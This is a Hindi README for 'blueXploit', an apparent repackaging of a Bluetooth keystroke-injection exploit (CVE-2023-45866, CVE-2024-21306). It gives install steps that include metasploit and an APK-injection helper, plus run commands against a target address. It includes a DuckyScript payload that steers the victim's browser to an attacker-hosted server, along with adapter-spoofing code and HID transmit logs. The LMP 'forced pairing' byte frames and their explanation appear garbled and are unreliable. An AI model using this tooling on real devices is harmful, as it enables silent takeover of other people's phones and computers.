
ब्लूटूथ की गंभीर कमजोरियों (CVE-2023-45866, CVE-2024-21306) पर आधारित शोषण

श्रेय। यह भेद्यता और मूल एक्सप्लॉइट Marc Newlin का काम है (hi_my_name_is_keyboard) — मैं खोज का दावा नहीं करता। यह रिपॉजिटरी इस बग को समझने और प्रलेखित करने के लिए बनाया गया एक पुनरुत्पादन है; इसके ऊपर, blueXploit एक DuckyScript-शैली पेलोड रनर, एक पुनःकनेक्शन/रीट्राय तंत्र, और एक वैकल्पिक Android APK-इंजेक्शन सहायक जोड़ता है। यहाँ सब कुछ केवल शिक्षा और शोध के लिए है।
ये गंभीर भेद्यताएं (CVE-2023-45866, CVE-2024-21306) हमलावर को उपयोगकर्ता की पुष्टि के बिना कीस्ट्रोक इंजेक्ट करने और पेयरिंग अनुरोध स्वीकार करने देती हैं। यह कई ऑपरेटिंग सिस्टमों की सुरक्षा को गंभीर रूप से प्रभावित करता है।
Marc Newlin के मूल एक्सप्लॉइट पर आधारित।
निर्भरताएँ इंस्टॉल करना
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit में Android डिवाइसों पर भेद्यताओं का शोषण करने के लिए उपकरण शामिल हैं, जो दो मुख्य घटक और injector फ़ोल्डर में स्थित apkpwn_injector नामक एक अतिरिक्त प्रोग्राम प्रदान करते हैं।
.apk एप्लिकेशनों में इंजेक्ट करता है।ये विशेषताएँ नियंत्रित वातावरण या पेनिट्रेशन परीक्षण के लिए एक कुशल, सरलीकृत हमला प्रवाह सक्षम करती हैं।

cd injector
python3 apkpwn_injector.py
blueXploit द्वारा निष्पादित प्रमुख कमांड /injector/payloads/ फ़ोल्डर से .txt प्रारूप में लोड किए जाते हैं, जिनकी सिंटैक्स सरल और समझने में आसान होती है।
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
IP पते को उस पते में बदलें जहाँ सर्वर होस्ट किया गया है।
डिवाइस का पता लगाना और एन्यूमरेशन
bluetoothctl
Bluetooth डिवाइस स्कैन करें
scan on
चलाएँ
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
फिर आवश्यक, पहले से कॉन्फ़िगर किया गया पेलोड चुनें।
पूरा डेमो इस वीडियो में है
यह भेद्यता Bluetooth प्रोटोकॉल के निम्न स्तर पर शोषित की जाती है, मुख्य रूप से पीड़ित डिवाइस में कीस्ट्रोक इंजेक्ट करने के लिए HID प्रोफ़ाइल और L2CAP प्रोटोकॉल में हेरफेर करके।
Bluetooth स्टैक में कई परतें शामिल हैं, जैसे Link Manager Protocol (LMP), Host Controller Interface (HCI), और L2CAP। यह हमला मुख्य रूप से अंतिम दो का उपयोग करता है:
HCI: एडेप्टर कॉन्फ़िगरेशन में हेरफेर किया जाता है ताकि वह स्वयं को एक वैध HID डिवाइस के रूप में प्रस्तुत कर सके।
L2CAP: डिवाइसों के बीच डेटा मल्टीप्लेक्सिंग के लिए जिम्मेदार, L2CAP HID संचार के लिए चैनल 17 (HID Control) और चैनल 19 (HID Interrupt) का उपयोग करता है, जिसका शोषण कुंजी अनुक्रम भेजने के लिए किया जा सकता है।
CVE-2023-45866 Link Manager Protocol (LMP) में एक भेद्यता है, जिसका शोषण "forced pairing" हमले के माध्यम से किया जाता है। तकनीकी रूप से इसे इस प्रकार अंजाम दिया जाता है:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
इस डेटा फ्रेम में:
0x01: LMP पेयरिंग अनुरोध0x01: LMP प्रमाणीकरण अनुरोध (PIN)0x00 0x00 0x00 0x00: कमजोर PIN जानकारी, सामान्यतः 0000यहाँ एक्सप्लॉइट इस पैकेट के लिए अनुपलब्ध कॉन्फ़िगरेशन और प्रमाणीकरण का लाभ उठाता है, जो अंततः यह लौटाता है:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
इस डेटा फ्रेम में:
0x02: LMP पेयरिंग अनुरोध स्वीकृत0x00 0x00 0x00 0x00: लौटाई गई मैलफॉर्म्ड PIN जानकारीयदि कुंजी सही ढंग से मान्य नहीं की जाती है, तो कनेक्शन स्थापित हो जाता है लेकिन वास्तविक पेयरिंग के बिना, इसलिए एक forced-pairing LMP पैकेट इस प्रकार भेजा जा सकता है:
LMP Forced Pairing: 0x03 0x01 0x0000
फिर पहले लीक हुई कुंजियों (जैसे "0000") का उपयोग करके प्रमाणीकरण को बलपूर्वक किया जा सकता है और एक एन्क्रिप्टेड संचार चैनल स्थापित किया जा सकता है, जिससे उचित सत्यापन प्रक्रिया से गुजरे बिना डिवाइस पेयर हो जाते हैं।
यह उपयोगकर्ता की जानकारी के बिना, और यहाँ तक कि बिना किसी पेयरिंग विंडो या सूचना के भी पेयरिंग बनाता है।
इस CVE की खामी यह है कि कुछ डिवाइस LMP प्रमाणीकरण अनुरोधों को ठीक से मान्य नहीं करते हैं, या पुरानी कुंजियों का पुनः उपयोग कर लेते हैं।
इसलिए एक बार डिवाइस के साथ पेयर हो जाने पर — बैम! — बाकी आसान है: blueXploit.py में एडेप्टर और डिवाइस पहचान डेटा के रूप में कार्य करते हैं और उसे स्पूफ करते हैं। इस मामले में, इस प्रकार के कमांड चलाए जाते हैं:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
blueXploit कोड
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
HID बाइट फ्रेम की व्याख्या:
:a10100001e000000000000
a1: HID रिपोर्ट प्रकार निर्दिष्ट करता है01: इनबाउंड डेटा के लिए HID इंटरफ़ेस उपयोग निर्दिष्ट करता है00: कीप्रेस या कीरिलीज़00 1e 00 00 00 00: हेक्साडेसिमल मान, जहाँ 1e अक्षर a से मेल खाता हैACK तब प्राप्त होता है, जो पुष्टि करता है कि ट्रांसमिशन सफलतापूर्वक प्राप्त हुआ।
चेतावनी: यह सामग्री और इस रिपॉजिटरी में वर्णित तकनीकें कड़ाई से केवल शैक्षिक और शोध उद्देश्यों के लिए हैं। पेनिट्रेशन और शोषण उपकरण केवल उन्हीं सिस्टमों पर उपयोग किए जाने चाहिए जिनके मूल्यांकन के लिए आपके पास स्पष्ट अनुमति हो। जिन सिस्टमों के स्वामी आप नहीं हैं, उन पर इन तकनीकों का अनधिकृत उपयोग निषिद्ध है और कई क्षेत्राधिकारों में अवैध है। इस सामग्री के अनुचित उपयोग से होने वाली कोई भी क्षति या नकारात्मक प्रभाव उपयोगकर्ता की एकमात्र जिम्मेदारी है।
उपयोगकर्ताओं को सलाह दी जाती है कि वे नियंत्रित वातावरणों, जैसे परीक्षण प्रयोगशालाओं, में कार्य करें, और सूचना सुरक्षा और नैतिक हैकिंग से संबंधित सभी स्थानीय कानूनों और विनियमों का पालन करें। हैप्पी हैकिंग :D